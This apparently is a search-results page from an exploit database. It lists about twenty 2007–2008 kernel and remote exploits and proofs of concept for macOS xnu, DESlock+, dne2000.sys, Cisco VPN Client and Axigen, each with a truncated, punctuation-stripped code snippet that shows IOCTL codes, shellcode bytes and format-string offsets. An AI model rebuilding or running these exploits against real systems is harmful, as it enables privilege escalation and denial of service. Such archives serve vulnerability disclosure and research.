353 matches found
Mac OS X xnu <=1228.x (vfssysctl) Local Kernel DoS PoC
Exploit for macOS platform in category dos / poc ====================================================== Mac OS X xnu Apple MACOS X xnu include include include include include include include include void hammer void arg char buf1024 255 + 1; int n, name6; memset buf, 0, sizeof buf; while 1 name0 ...
Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation
!/bin/bash xnu-hfs-fcntl-v2.sh Copyright c 2008 by Apple MACOS X 792.0 \n" \ "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n" if ! -f $EXPFILE ; then echo -n " compiling exploit..." gcc -Wall $EXPFILE.c -o $EXPFILE 2 /dev/null if $? != 0 ; then echo " failed" exit $? else echo " done" fi f...
Apple Mac OSX xnu 1228.3.13 - 'Profil' Kernel Memory Leak/Denial of Service (PoC)
/ xnu-profil-leak.c Copyright c 2008 by Apple MACOS X xnu include include include include include / profil defines / define PROFILLEAKNUM 65536 128 int main int argc, char argv char buf1024; int i, n; printf "Apple MACOS X xnu \n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"; printf "...
Apple Mac OSX xnu 1228.3.13 - 'zip-notify' Remote Kernel Overflow (PoC)
/ xnu-appletalk-zip.c Copyright c 2008 by Apple MACOS X xnu include include include include include include include include include include include int main int argc, char argv struct sockaddrat daddr, saddr; char p, buf1024; int fd, zlen; printf "Apple MACOS X xnu \n" "http://www.digit-labs.org/...
Apple MACOS X xnu <= 1228.x Local Kernel Memory Disclosure Exploit
No description provided by source. / xnu-getldt.c Copyright c 2008 by [email protected] Apple MACOS X xnu = 1228.x local kernel memory disclosure by mu-b - Wed 17 Dec 2008 - Tested on: Apple MACOS X 10.5.5 xnu-1228.8.201/RELEASEI386 props to christer who originally found the bug in FreeBSD...
Apple Mac OSX xnu 1228.x - Local Kernel Memory Disclosure
Apple Mac OSX xnu 1228.x - Local Kernel Memory Disclosure / xnu-getldt.c Copyright c 2008 by Apple MACOS X xnu include include include include include include include define TMPFILE "/tmp/xnu-getldt" define READSIZE 0x2000000 int main int argc, char argv int fd, n, numdesc; void ptr; printf "Appl...
Apple Mac OSX xnu 1228.x - Local Kernel Memory Disclosure
/ xnu-getldt.c Copyright c 2008 by Apple MACOS X xnu include include include include include include include define TMPFILE "/tmp/xnu-getldt" define READSIZE 0x2000000 int main int argc, char argv int fd, n, numdesc; void ptr; printf "Apple MACOS X xnu \n" "http://www.digit-labs.org/ -- Digit-Lab...
Deterministic Network Enhancer dne2000.sys kernel ring0 SYSTEM exploit
No description provided by source. / dne2000-call.c Copyright c 2008 by [email protected] Deterministic Network Enhancer dne2000.sys local kernel ring0 SYSTEM exploit by mu-b - Sun 06 Jan 2008 - Tested on: dne2000.sys 2.21.7.233 - 3.21.7.17464...
Deterministic Network Enhancer - dne2000.sys Kernel Ring0 SYSTEM
Deterministic Network Enhancer - dne2000.sys Kernel Ring0 SYSTEM / dne2000-call.c Copyright c 2008 by Deterministic Network Enhancer dne2000.sys local kernel ring0 SYSTEM exploit by mu-b - Sun 06 Jan 2008 - Tested on: dne2000.sys 2.21.7.233 3.21.7.17464 bundled with: SafeNET HighAssurance Remote,...
DESlock+ 3.2.6 - DLMFENC.sys Local Kernel Ring0 link list zero (PoC)
DESlock+ 3.2.6 - DLMFENC.sys Local Kernel Ring0 link list zero PoC / deslock-list-zero.c Copyright c 2008 by DESlock+ include include define DLMFENCIOCTL 0x0FA4204C define DLMFENCFLAG 0xDEADBEEF define ZEROMEM 0xDEADBEEF define ARGSIZEa a-sizeof int2/sizeof void struct ioctlreq int flag; int...
DESlock+ <= 3.2.6 (list) Local Kernel Memory Leak PoC
Exploit for unknown platform in category local exploits ===================================================== DESlock+ DESlock+ include include define DLMFENCIOCTL 0x0FA4204C define DLMFENCFLAG 0xC001D00D define ARGSIZEa a-sizeof int2/sizeof void struct ioctlreq int flag; int reqnum; void...
DESlock+ 3.2.6 - LIST Local Kernel Memory Leak
DESlock+ 3.2.6 - LIST Local Kernel Memory Leak / deslock-list-leak.c Copyright c 2008 by DESlock+ include include define DLMFENCIOCTL 0x0FA4204C define DLMFENCFLAG 0xC001D00D define ARGSIZEa a-sizeof int2/sizeof void struct ioctlreq int flag; int reqnum; void argARGSIZE0x20; ; static void...
DESlock+ < 3.2.6 - 'DLMFENC.sys' Local Kernel Ring0 link list zero (PoC)
/ deslock-list-zero.c Copyright c 2008 by DESlock+ include include define DLMFENCIOCTL 0x0FA4204C define DLMFENCFLAG 0xDEADBEEF define ZEROMEM 0xDEADBEEF define ARGSIZEa a-sizeof int2/sizeof void struct ioctlreq int flag; int reqnum; void argARGSIZE0x20; ; int main int argc, char argv struct...
DESlock+ < 3.2.6 - 'DLMFDISK.sy's Local kernel Ring0 SYSTEM
/ deslock-pown-v2.c Copyright c 2008 by DESlock+ include include include define DLKFDISKIOCTL 0x80002024 define DLKFDISKRIOCTL 0x80002010 define DLKFDISKSLOT 0x00000C5A define DLKFDISKOFFSET 0x0D define DLKFDISKDISKMAX 0x1A static unsigned char win32fixup = "\x53" "\xeb\x0e" / fixupcopy / "\x5e"...
DESlock+ < 3.2.6 - 'LIST' Local Kernel Memory Leak
/ deslock-list-leak.c Copyright c 2008 by DESlock+ include include define DLMFENCIOCTL 0x0FA4204C define DLMFENCFLAG 0xC001D00D define ARGSIZEa a-sizeof int2/sizeof void struct ioctlreq int flag; int reqnum; void argARGSIZE0x20; ; static void xormaskreq struct ioctlreq req DWORD i, pid; PCHAR ptr...
Axigen <= 5.0.2 AXIMilter Remote Format String Exploit
Exploit for linux platform in category remote exploits ====================================================== Axigen include include include include include include char buf = "FROM:\r\nEHLO:\r\nCNIP:\r\nCNPO:\r\nCNHO: " / offsets / "\xb8\x96\x05\x08\xb9\x96\x05\x08\xba\x96\x05\x08\xbb\x96\x05\x0...
AXIGEN 5.0.x AXIMilter Format String Exploit
/ Axigen 5.0.x AXIMilter Format String Exploit by hempel JAN 16 2008 thx to mu-b digit-labs.org / include stdio.h include netinet/in.h include sys/socket.h include sys/types.h include sys/uio.h include unistd.h include string.h char buf = "FROM:rnEHLO:rnCNIP:rnCNPO:rnCNHO: " / offsets /...
Cisco VPN Client - IPSec Driver Local kernel system pool Corruption (PoC)
Cisco VPN Client - IPSec Driver Local kernel system pool Corruption PoC / cpndrv-dos.c Copyright c 2008 by Cisco Systems VPN Client IPSec Driver local kernel system pool corruption POC by mu-b - Sat 11 Jan 2008 - Tested on: CVPNDRVA.sys 5.0.02.0090 specifying an input buffer size less-than...
Apple Mac OSX xnu 1228.0 - super_blob Local kernel Denial of Service (PoC)
Apple Mac OSX xnu 1228.0 - superblob Local kernel Denial of Service PoC / xnu-superblob-dos.c Copyright c 2007 by Apple MACOS X xnu include include include include include include include define MAXPATHLEN 128 / change this value if no panic / define CSLOTSDIFF 0x69696969 define CSSLOTCODEDIRECTO...
Apple Mac OS X 10.5.0 (leopard) vpnd Remote Denial of Service PoC
No description provided by source. / vpnd-leopard-lb-dos.c Copyright c 2007 by [email protected] Apple MACOS X 10.5.0 leopard vpnd remote DoS POC by mu-b - Fri 9 Nov 2007 - Tested on: Apple MACOS X 10.5.0 leopard vpnd Program received signal EXCARITHMETIC, Arithmetic exception...